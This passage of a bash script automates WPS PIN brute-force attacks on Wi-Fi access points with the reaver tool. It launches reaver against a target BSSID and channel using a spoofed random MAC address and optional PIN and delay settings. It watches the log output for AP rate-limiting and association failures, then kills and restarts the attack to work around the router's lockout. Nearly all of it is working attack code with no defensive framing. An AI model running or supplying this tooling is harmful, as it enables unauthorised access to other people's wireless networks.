#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R45 == n || $USE_R45 == N ]] && [[ $USE_LONG45 == n || $USE_LONG45 == N ]] && [[ $USE_PIN45 == y || $USE_PIN45 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -vv -x 60  --pin=$WPS_PIN45 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R45 == y || $USE_R45 == Y ]] && [[ $USE_LONG45 == n || $USE_LONG45 == N ]] && [[ $USE_PIN45 == y || $USE_PIN45 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX45" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY45"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -vv -x 60 -r $RX45:$RY45 --pin=$WPS_PIN45 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R45 == n || $USE_R45 == N ]] && [[ $USE_LONG45 == y || $USE_LONG45 == Y ]] && [[ $USE_PIN45 == y || $USE_PIN45 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN45 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R45 == y || $USE_R45 == Y ]] && [[ $USE_LONG45 == y || $USE_LONG45 == Y ]] && [[ $USE_PIN45 == y || $USE_PIN45 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME45"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL45"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP45"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX45" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY45"
echo -e "$info Reaver live time                   = $yel$LIVE45 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME45-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL45 -b $TARGETAP45 -r $RX45:$RY45 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN45 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME45-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE45-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME45-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME45-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME45-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP45 (ESSID: $NMEWARN45)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE45 == n ] || [ $KEEP_FILE45 == N ]; then

          rm VARMAC_LOGS/$NAME45-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R46 == n || $USE_R46 == N ]] && [[ $USE_LONG46 == n || $USE_LONG46 == N ]] && [[ $USE_PIN46 == n || $USE_PIN46 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

